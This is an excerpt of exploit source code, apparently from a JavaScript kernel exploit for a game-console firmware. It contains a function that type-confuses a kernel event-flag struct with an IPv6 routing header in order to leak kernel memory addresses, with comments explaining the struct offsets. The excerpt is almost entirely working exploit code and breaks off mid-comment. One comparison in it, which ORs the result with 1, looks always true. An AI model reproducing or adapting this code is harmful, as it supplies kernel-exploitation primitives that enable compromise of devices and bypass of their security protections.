Function leak_kernel_addrs

g2all/700/lapse.js:844–991

(sd_pair)

}

function leak_kernel_addrs(sd_pair) {
  close(sd_pair[1]);
  const sd = sd_pair[0];
  const buf = new Buffer(0x80 * leak_len);

  // type confuse a struct evf with a struct ip6_rthdr. the flags of the evf
  // must be set to >= 0xf00 in order to fully leak the contents of the rthdr
  log("confuse evf with rthdr");
  let evf = null;
  for (let i = 0; i < num_alias; i++) {
    const evfs = [];
    for (let i = 0; i < num_handles; i++) {
      evfs.push(new_evf(0xf00 | (i << 16)));
    }

    get_rthdr(sd, buf, 0x80);
    // for simplicity, we'll assume i < 2**16
    const flags32 = buf.read32(0);
    evf = evfs[flags32 >>> 16];

    set_evf_flags(evf, flags32 | 1);
    get_rthdr(sd, buf, 0x80);

    if ((buf.read32(0) === flags32) | 1) {
      evfs.splice(flags32 >> 16, 1);
    } else {
      evf = null;
    }

    for (const evf of evfs) {
      free_evf(evf);
    }

    if (evf !== null) {
      log(`confused rthdr and evf at attempt: ${i}`);
      break;
    }
  }

  if (evf === null) {
    die("failed to confuse evf and rthdr");
  }

  set_evf_flags(evf, 0xff << 8);
  get_rthdr(sd, buf, 0x80);

  // fields we use from evf (number before the field is the offset in hex):
  // struct evf:
  //     0 u64 flags
  //     28 struct cv cv
  //     38 TAILQ_HEAD(struct evf_waiter) waiters

  // evf.cv.cv_description = "evf cv"
  // string is located at the kernel's mapped ELF file
  const kernel_addr = buf.read64(0x28);
  log(`"evf cv" string addr: ${kernel_addr}`);
  // because of TAILQ_INIT(), we have:
  //